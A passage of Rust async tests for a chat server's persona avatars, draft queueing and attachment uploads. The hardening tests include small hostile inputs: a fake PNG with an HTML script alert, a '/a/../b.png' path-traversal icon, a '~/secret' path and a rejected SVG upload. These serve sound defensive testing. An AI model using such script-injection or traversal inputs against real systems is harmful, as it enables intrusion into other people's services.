                persona: persona.map(str::to_owned),
                builtin: builtin.then(|| "1".to_owned()),
            }),
        )
        .await
        .expect("an avatar is never an error response");
        let h = res.headers();
        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
        let nosniff = h
            .get(header::X_CONTENT_TYPE_OPTIONS)
            .is_some_and(|v| v == "nosniff");
        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
        let status = res.status();
        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
            .await
            .expect("body")
            .to_vec();
        (status, ct, nosniff, csp, body)
    }

    fn tiny_png() -> Vec<u8> {
        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
        b.extend_from_slice(&[0u8; 32]);
        b
    }

    #[tokio::test]
    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
        let res = operator_avatar().await;
        assert_eq!(res.status(), StatusCode::OK);
        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
            .await
            .unwrap();
        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
        assert_ne!(
            persona_icon::operator_svg(),
            persona_icon::builtin_svg("default")
        );
    }

    #[tokio::test]
    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
        for p in [
            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
        ] {
            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
            assert_eq!(status, StatusCode::OK, "{p}");
            assert_eq!(ct, "image/svg+xml", "{p}");
            assert!(nosniff && csp, "{p}");
            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
        }
        // No `persona` means the conversation's own; unknown ones fall back.
        let own = avatar(&ui, &id, None, false).await;
        let default = avatar(&ui, &id, Some("default"), false).await;
        assert_eq!(own.4, default.4);
        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
        assert_eq!(unknown.1, "image/svg+xml");
    }

    #[tokio::test]
    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
        let dir = TempDir::new().expect("icons");
        let good = dir.path().join("good.png");
        std::fs::write(&good, tiny_png()).unwrap();
        let spoof = dir.path().join("spoof.png");
        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
        let big = dir.path().join("big.png");
        let mut bytes = tiny_png();
        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
        std::fs::write(&big, bytes).unwrap();
        let missing = dir.path().join("missing.png");
        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
        let extra = format!(
            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
            uri(&good),
            uri(&spoof),
            uri(&big),
            uri(&missing),
        );
        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;

        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
        assert_eq!(
            (status, ct.as_str(), nosniff),
            (StatusCode::OK, "image/png", true)
        );
        assert_eq!(body, tiny_png());
        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
        assert_eq!(ct, "image/png", "data URI");

        for p in ["misato", "asuka", "shinji", "magi"] {
            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
            assert_eq!(
                (status, ct.as_str(), csp),
                (StatusCode::OK, "image/svg+xml", true),
                "{p}"
            );
            assert!(body.starts_with(b"<svg"), "{p}");
        }
        // The page's own retry skips the icon.
        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
        assert_eq!(ct, "image/svg+xml");
    }

    #[tokio::test]
    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
        let oversized = format!(
            "data:image/png;base64,{}",
            "A".repeat(persona_icon::ICON_MAX_BYTES)
        );
        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
            let extra = format!(
                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
            );
            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
                .await
                .expect("detail with invalid icon");
            assert!(detail.personas.iter().any(|p| p.id == "custom"));
            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
            assert_eq!(status, StatusCode::OK);
            assert_eq!(ct, "image/svg+xml");
            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
            let Json(view) = talk_persona(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Json(TalkPersona {
                    persona: "custom".into(),
                }),
            )
            .await
            .expect("persona switch with invalid icon");
            assert_eq!(view.talk.persona, "custom");
            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
        }
    }

    #[tokio::test]
    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
        assert_eq!(
            (status, ct.as_str(), nosniff, csp),
            (StatusCode::OK, "image/svg+xml", true, true)
        );
    }

    #[tokio::test]
    async fn the_talk_view_carries_server_built_avatar_urls_only() {
        let (_t, _h, ui, id, _repo) =
            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
            .await
            .expect("detail");
        let json = serde_json::to_string(&detail).unwrap();
        assert!(
            !json.contains("secret"),
            "the icon setting must not leak: {json}"
        );
        assert!(
            detail
                .view
                .persona_avatar
                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
        );
        assert_eq!(
            detail.view.operator_avatar,
            format!(
                "/avatars/operator.svg?v={}",
                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
            )
        );
        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
        assert!(rei.avatar.contains("persona=rei&v="));
        assert_ne!(
            rei.avatar.split("&v=").nth(1),
            plain.avatar.split("&v=").nth(1)
        );
    }

    #[tokio::test]
    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
        let cfg = config_for(&repo).await.unwrap();
        for arrived in [false, true] {
            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
            let observed = ui.queued_generation(&id);
            let talk = ui.talks.get(&id).unwrap();
            if arrived {
                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
            }
            let mut settling = std::pin::pin!(settle_settings_turn(
                talk,
                ui.talks.clone(),
                cfg.clone(),
                id.clone(),
                turn,
                observed
            ));
            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
            assert_eq!(first.is_pending(), arrived);
            if arrived {
                assert!(!settling.await);
            }
            assert!(!ui.is_thinking(&id));
        }
    }

    #[tokio::test]
    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(
            repo.join("magi.toml"),
            format!(
                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
            ),
        )
        .expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Arc::new(
            Ui::new(
                Queue::at(home.path().join("queue")),
                Questions::at(home.path().join("questions")),
                talks.clone(),
                home.path().join("runs"),
                home.path().to_path_buf(),
                repo.clone(),
            )
            .with_worktrees_root(home.path().join("wt")),
        );
        let cfg = config_for(&repo).await.expect("discover config");
        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
        let id = talk.id.clone();
        let call = |persona: &str| {
            talk_persona(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Json(TalkPersona {
                    persona: persona.to_owned(),
                }),
            )
        };

        let unknown = call("nobody").await.expect_err("unknown persona");
        assert_eq!(
            unknown.status,
            StatusCode::BAD_REQUEST,
            "{}",
            unknown.message
        );

        {
            // Nothing refused so far took a claim, so the guard is free to take
            // and holding it is what makes the talk busy.
            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
            let busy = call("rei").await.expect_err("busy talk");
            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
            assert!(
                busy.message.contains("a talk turn is running"),
                "{}",
                busy.message
            );
            drop(guard);
        }
        assert_eq!(talks.get(&id).expect("reload").persona, "");

        let Json(view) = call("gendo").await.expect("switch to a configured persona");
        assert_eq!(view.talk.persona, "gendo");
        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
        assert!(!ui.is_thinking(&id), "idle response must release the claim");
        // No intervening I/O or sleep may be needed before another change.
        for chosen in ["default", "gendo", "rei", "gendo"] {
            let Json(view) = call(chosen).await.expect("immediate consecutive change");
            assert!(!view.thinking);
            assert!(!ui.is_thinking(&id));
        }

        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
            .await
            .expect("detail");
        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
        assert_eq!(ids.first(), Some(&"default"));
        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));

        let Json(view) = call("default").await.expect("back to default");
        assert_eq!(view.talk.persona, "");

        let mut closed = talks.get(&id).expect("reload");
        talk::close(&mut closed, &talks).expect("close");
        let refused = call("rei").await.expect_err("closed talk");
        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
        assert!(
            refused.message.contains("takes no more turns"),
            "{}",
            refused.message
        );
    }

    #[tokio::test]
    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
        let f = Fixture::start().await;
        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
        let queue = f.queue();
        let mut mine = Task::new(
            "rename the loader".to_owned(),
            "rename the loader".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Agent {
                run: talk_id.clone(),
                node: "chat".to_owned(),
            },
        );
        queue.put(&mut mine).expect("file the task");
        let mut theirs = Task::new(
            "unrelated".to_owned(),
            "unrelated".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Human,
        );
        queue.put(&mut theirs).expect("file the task");

        let res = f.get(&format!("/api/talks/{talk_id}")).await;
        assert_eq!(res.status, 200, "{}", res.body);
        let body = res.json();
        assert_eq!(
            body["status"], "open",
            "filing a task does not close a talk"
        );
        let tasks = body["tasks"].as_array().expect("tasks array");
        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
        assert_eq!(tasks[0]["id"], mine.id);
    }

    #[tokio::test]
    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
        let (_tmp, _repo, f) = talk_fixture().await;
        let id = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .expect("id")
            .to_owned();

        let res = f
            .post(
                &format!("/api/talks/{id}/say"),
                Some(r#"{"text":"what does the queue module do?"}"#),
            )
            .await;
        assert_eq!(res.status, 202, "{}", res.body);
        let queued = res.json();
        let turns = queued["turns"].as_array().expect("turns array");
        assert_eq!(
            turns.len(),
            1,
            "the answer reflects only what is on disk the instant it is sent, \
             before the agent's turn - which can run for the whole of \
             `[graph] timeout_talk` - has a chance to land: {queued}"
        );
        assert_eq!(turns[0]["who"], "operator");
        assert_eq!(turns[0]["body"], "what does the queue module do?");
        assert_eq!(
            queued["thinking"], true,
            "the accepted response exposes the background turn claim: {queued}"
        );

        let mut turns_after = 1;
        for _ in 0..SETTLE_STEPS {
            let detail = f.get(&format!("/api/talks/{id}")).await.json();
            turns_after = detail["turns"].as_array().expect("turns array").len();
            if turns_after == 2 {
                break;
            }
            tokio::time::sleep(Duration::from_millis(10)).await;
        }
        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
    }

    /// A phone that reloads mid-request drops `talk_say`'s whole handler
    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
    /// guards against: `talk::record` used to return, and only *then* did the
    /// handler make a second, separate disk round trip before spawning the
    /// agent's reply task. A future dropped in that gap left a message
    /// recorded on disk with no reply task ever started and no way back short
    /// of a fresh message - and the gap was not even the whole story: *any*
    /// `.await` in this handler, including the very first one, is a point
    /// where a drop can land after the awaited work already finished but
    /// before this handler's own code resumes to act on it. `record` now
    /// runs inside the task `tokio::spawn` hands to the runtime before this
    /// handler ever awaits anything of its own again, so there is nothing
    /// left in *this* handler's future for a disconnect to interrupt between
    /// the message landing on disk and the reply task starting.
    ///
    /// A real socket disconnect cannot be relied on to land in the old gap
    /// from a test - over loopback, `talk_say` typically finishes before the
    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
    /// same failure mode directly: it drops the task's future at whatever
    /// point it has reached, exactly what axum does to the handler future,
    /// without needing to win a real network race. Sweeping the delay before
    /// aborting samples a range of points the task's execution can be at,
    /// including where the old code sat waiting on its second disk round
    /// trip - confirmed by reverting this fix locally and watching this same
    /// sweep catch a talk stuck with the operator's turn recorded and no
    /// reply ever following.
    #[tokio::test]
    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Arc::new(
            Ui::new(
                Queue::at(home.path().join("queue")),
                Questions::at(home.path().join("questions")),
                talks.clone(),
                home.path().join("runs"),
                home.path().to_path_buf(),
                repo.clone(),
            )
            .with_worktrees_root(home.path().join("wt")),
        );
        let cfg = config_for(&repo).await.expect("discover config");

        for delay in 0..40u32 {
            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
            let id = talk.id.clone();

            let handler = tokio::spawn(talk_say(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Ok(Json(NewTalkTurn {
                    reply_to: None,
                    text: "what does the queue module do?".to_owned(),
                    attachments: Vec::new(),
                })),
            ));
            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
            handler.abort();
            // Wait out the abort so the next iteration's talk does not race
            // this one's still-unwinding turn guard.
            let _ = handler.await;

            let mut turns = 0;
            for _ in 0..SETTLE_STEPS {
                if let Ok(fresh) = talks.get(&id) {
                    turns = fresh.turns.len();
                    if turns != 1 {
                        break;
                    }
                }
                tokio::time::sleep(Duration::from_millis(10)).await;
            }
            assert_ne!(
                turns, 1,
                "delay {delay}: talk {id} recorded the operator's turn but \
                 the agent never answered - the reply task was never \
                 started after the handler future was dropped"
            );
        }
    }

    /// The same drop, landing on `talk_say`'s other durable write.
    ///
    /// When a turn is already running, the busy branch persists the
    /// operator's text as a queued draft and then reclaims the turn slot if
    /// the holder gave it up in the meantime - and whoever reclaims owes that
    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
    /// which finishes whether or not the future awaiting it is still there,
    /// so a handler dropped at that `.await` used to leave the draft written
    /// to disk with the reclaimed guard dropped unread and no drainer ever
    /// started: the message sat queued until some unrelated later `say`
    /// happened to pick it up.
    ///
    /// This used to drive the handler future by hand, polling it a fixed
    /// number of times to park it at the `.await` where it asks for the turn
    /// and finds it busy, before the reclaim's slot-free case could be set up
    /// underneath it. That assumed a fixed number of polls lands at a fixed
    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
    /// poll, so any number of this handler's several `blocking` awaits can
    /// collapse into one poll under load, landing the drive somewhere other
    /// than intended - including, occasionally, straight past the handler's
    /// own completion, which made polling it again panic with "async fn
    /// resumed after completion". No poll count fixes that; the handler's
    /// progress simply is not something a caller outside it can observe by
    /// counting.
    ///
    /// [`BusyQueueGate`] replaces the poll count with a real stop point
    /// inside the write itself, so the interleaving under test is pinned by
    /// an event instead of a guess: the gate fires only once the handler has
    /// actually decided `Busy` and is about to persist the draft, and it
    /// blocks that write until the test lets it through. Between those two
    /// moments the test drains the turn the handler found busy - through
    /// `drain_loop`, the protocol's other half - and then aborts the handler
    /// task outright, the same way axum drops a disconnected request's
    /// future. The write, and the reclaim it may do, run to completion
    /// regardless: they live in the `tokio::spawn` task the busy branch hands
    /// to the runtime before ever touching the gate, wholly independent of
    /// whether the handler that started it is still around - which is what
    /// this test is actually checking. A drainer other than that reclaim
    /// cannot exist here: the test's own `drain_loop` call happens before the
    /// gate opens, so it runs while the queue is still empty and hands the
    /// turn straight back rather than draining anything, closing off the
    /// possibility of the final assertion passing without the reclaim ever
    /// having done its job.
    #[tokio::test]
    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
        let home = TempDir::new().expect("temp home");
        let talks = Talks::at(home.path().join("talks"));
        let ui = Arc::new(
            Ui::new(
                Queue::at(home.path().join("queue")),
                Questions::at(home.path().join("questions")),
                talks.clone(),
                home.path().join("runs"),
                home.path().to_path_buf(),
                repo.clone(),
            )
            .with_worktrees_root(home.path().join("wt")),
        );
        let cfg = config_for(&repo).await.expect("discover config");

        for attempt in 0..3u32 {
            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
            let id = talk.id.clone();
            // A turn is already running, which is what sends `talk_say` down
            // the busy branch.
            let turn_guard = ui
                .begin_talk_turn(&id)
                .expect("claim the turn")
                .expect("a fresh talk owes nobody a turn");

            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
            let (release_tx, release_rx) = std::sync::mpsc::channel();
            ui.set_busy_queue_gate(BusyQueueGate {
                reached: reached_tx,
                release: release_rx,
            });

            let handler = tokio::spawn(talk_say(
                State(Arc::clone(&ui)),
                Path(id.clone()),
                Ok(Json(NewTalkTurn {
                    reply_to: None,
                    text: "what does the queue module do?".to_owned(),
                    attachments: Vec::new(),
                })),
            ));

            // Wait for the busy branch to actually reach the gate, rather
            // than for any fixed number of polls of anything - a bounded
            // wait rather than a bare `.await` so a regression that never
            // reaches the gate fails the test instead of hanging it.
            tokio::time::timeout(Duration::from_secs(5), reached_rx)
                .await
                .unwrap_or_else(|_| {
                    panic!(
                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
                    )
                })
                .expect("the busy branch dropped the gate without using it");

            // The turn that was running now finishes and gives the slot up
            // the way a real one does - through `drain_loop`, which finds
            // nothing queued yet (the write is still held at the gate) and
            // releases. The handler, parked inside `spawn_blocking` on the
            // other side of the gate, still believes the talk is busy -
            // exactly the interleaving the reclaim exists for.
            let running = talks.get(&id).expect("reload talk");
            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;

            // Drop the handler future now, the way a reloading phone drops
            // it: suspended waiting on the busy branch's answer, having
            // itself made no more progress since it handed the write off.
            handler.abort();
            let _ = handler.await;

            // Only now let the gated write proceed. It persists the draft
            // and reclaims the now-free slot from inside the task the busy
            // branch already spawned - unaffected by the handler's abort
            // above, since that task was independent of the handler's own
            // future from the moment it was spawned.
            let _ = release_tx.send(());

            // A settled talk: the draft drained into an operator turn and
            // answered.
            let mut fresh = talks.get(&id).expect("reload talk");
            for _ in 0..SETTLE_STEPS {
                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
                    break;
                }
                tokio::time::sleep(Duration::from_millis(10)).await;
                fresh = talks.get(&id).expect("reload talk");
            }
            assert!(
                fresh.pending.is_empty() && fresh.turns.len() == 2,
                "attempt {attempt}: talk {id} left the operator's text queued \
                 with no drainer - the reclaimed turn was dropped along with \
                 the handler future (pending {:?}, {} turns)",
                fresh.pending,
                fresh.turns.len()
            );
        }
    }

    #[tokio::test]
    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
        let (_tmp, _repo, f) = talk_fixture().await;
        let id = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .expect("id")
            .to_owned();
        let store = f.talks();
        let mut recovered = store.get(&id).expect("opened talk");
        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
            .expect("persist pending draft without a live turn");

        let edited = f
            .post(
                &format!("/api/talks/{id}/pending/edit"),
                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
            )
            .await;
        assert_eq!(edited.status, 200, "{}", edited.body);
        assert!(edited.json()["thinking"].as_bool().unwrap());

        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
        for _ in 0..SETTLE_STEPS {
            if detail["turns"].as_array().expect("turns").len() == 2 {
                break;
            }
            tokio::time::sleep(Duration::from_millis(10)).await;
            detail = f.get(&format!("/api/talks/{id}")).await.json();
        }
        let turns = detail["turns"].as_array().expect("turns");
        assert_eq!(
            turns.len(),
            2,
            "the recovered draft must run once: {detail}"
        );
        assert_eq!(turns[0]["body"], "corrected");
        assert_eq!(detail["pending"], "");
    }

    #[tokio::test]
    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
        let f = Fixture::with_repo(repo).await;
        let id = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .expect("id")
            .to_owned();
        let store = f.talks();
        let mut recovered = store.get(&id).expect("opened talk");
        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
            .expect("persist pending draft without a live turn");

        let refused = f
            .post(
                &format!("/api/talks/{id}/say"),
                Some(r#"{"text":"new message"}"#),
            )
            .await;
        assert_eq!(refused.status, 409, "{}", refused.body);
        assert!(refused.body.contains("resume"), "{}", refused.body);
        let saved = store.get(&id).expect("draft remains after refusal");
        assert!(saved.turns.is_empty());
        assert_eq!(saved.pending, "saved before restart");

        let say_path = format!("/api/talks/{id}/say");
        let (first, second) = tokio::join!(
            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
        );
        assert_eq!(first.status, 409, "{}", first.body);
        assert_eq!(second.status, 409, "{}", second.body);
        let saved = store
            .get(&id)
            .expect("draft remains after concurrent refusals");
        assert!(saved.turns.is_empty());
        assert_eq!(saved.pending, "saved before restart");

        let resumed = f
            .post(&format!("/api/talks/{id}/pending/resume"), None)
            .await;
        assert_eq!(resumed.status, 202, "{}", resumed.body);
        let duplicate = f
            .post(&format!("/api/talks/{id}/pending/resume"), None)
            .await;
        assert_eq!(duplicate.status, 409, "{}", duplicate.body);

        for _ in 0..SETTLE_STEPS {
            if store.get(&id).expect("talk").turns.len() == 2 {
                break;
            }
            tokio::time::sleep(Duration::from_millis(10)).await;
        }
        let finished = store.get(&id).expect("finished talk");
        assert_eq!(finished.turns.len(), 2, "{finished:?}");
        assert_eq!(finished.turns[0].body, "saved before restart");
        assert!(finished.pending.is_empty());
    }

    #[tokio::test]
    async fn an_image_only_recovered_draft_resumes_without_text() {
        let (_tmp, _repo, f) = talk_fixture().await;
        let id = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .expect("id")
            .to_owned();
        let uploaded = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
                PNG_BYTES,
            )
            .await;
        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
        let attachment = f
            .talks()
            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
            .expect("attachment metadata")
            .expect("stored attachment");
        let store = f.talks();
        let mut recovered = store.get(&id).expect("opened talk");
        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");

        let resumed = f
            .post(&format!("/api/talks/{id}/pending/resume"), None)
            .await;
        assert_eq!(resumed.status, 202, "{}", resumed.body);
        for _ in 0..SETTLE_STEPS {
            if store.get(&id).expect("talk").turns.len() == 2 {
                break;
            }
            tokio::time::sleep(Duration::from_millis(10)).await;
        }
        let finished = store.get(&id).expect("finished talk");
        assert_eq!(finished.turns.len(), 2, "{finished:?}");
        assert!(finished.turns[0].body.is_empty());
        assert_eq!(finished.turns[0].attachments.len(), 1);
        assert!(finished.pending_attachments.is_empty());
    }

    #[tokio::test]
    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
        let (_tmp, _repo, f) = talk_fixture().await;
        let id = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .expect("id")
            .to_owned();
        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
        assert_eq!(closed.status, 200, "{}", closed.body);
        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
            .expect("serialize closed talk");
        for (path, body) in [
            (format!("/api/talks/{id}/pending/resume"), None),
            (
                format!("/api/talks/{id}/pending/clear"),
                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
            ),
            (
                format!("/api/talks/{id}/pending/edit"),
                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
            ),
            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
        ] {
            let response = f.post(&path, body).await;
            assert_eq!(response.status, 409, "{}", response.body);
        }
        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
            .expect("serialize closed talk");
        assert_eq!(
            after_clear, before_clear,
            "clear must not rewrite a closed talk"
        );
    }

    /// Keeps both claims observable long enough to exercise the distinction
    /// between one busy talk and a globally locked Chat surface.
    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";

    #[tokio::test]
    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
        let tmp = TempDir::new().expect("tempdir");
        let repo = tmp.path().join("repo");
        std::fs::create_dir_all(&repo).expect("repo dir");
        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
        let f = Fixture::with_repo(repo).await;
        let id_a = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .unwrap()
            .to_owned();
        let id_b = f.post("/api/talks", None).await.json()["id"]
            .as_str()
            .unwrap()
            .to_owned();

        let a = f
            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
            .await;
        assert_eq!(a.status, 202, "{}", a.body);
        assert_eq!(a.json()["thinking"], true);
        let b = f
            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
            .await;
        assert_eq!(b.status, 202, "{}", b.body);
        assert_eq!(b.json()["thinking"], true);

        let listed = f.get("/api/talks").await.json();
        for id in [&id_a, &id_b] {
            let view = listed
                .as_array()
                .unwrap()
                .iter()
                .find(|talk| talk["id"] == *id)
                .unwrap();
            assert_eq!(view["thinking"], true, "{listed}");
        }
        let repeated = f
            .post(
                &format!("/api/talks/{id_a}/say"),
                Some(r#"{"text":"again"}"#),
            )
            .await;
        assert_eq!(repeated.status, 202, "{}", repeated.body);
        assert_eq!(repeated.json()["pending"], "again");
    }

    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
    /// few more, since real uploads are never exactly eight bytes.
    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";

    #[tokio::test]
    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260905-000000-a1b2", "open");

        let res = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
                PNG_BYTES,
            )
            .await;
        assert_eq!(res.status, 201, "{}", res.body);
        let body = res.json();
        assert_eq!(body["name"], "shot.png");
        assert_eq!(body["mime"], "image/png");
        assert_eq!(body["bytes"], PNG_BYTES.len());
        let att_id = body["id"].as_str().expect("id").to_owned();
        assert_eq!(
            att_id.len(),
            32,
            "the id must never be a client-suppliable path: {att_id}"
        );

        let got = f
            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
            .await;
        assert_eq!(got.status, 200, "{}", got.body);
        assert_eq!(got.header("content-type"), Some("image/png"));
        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
        assert_eq!(got.bytes, PNG_BYTES);
    }

    #[tokio::test]
    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
        let f = Fixture::start().await;
        let id = seed_talk(&f, "20260905-000000-c3d4", "open");

        // SVG can carry a `<script>`, so it is never on the whitelist even
        // though it is a real IANA image type.
        let svg = f
            .post_bytes(
                &format!("/api/talks/{id}/attachments"),
                &[("Content-Type", "image/svg+xml")],
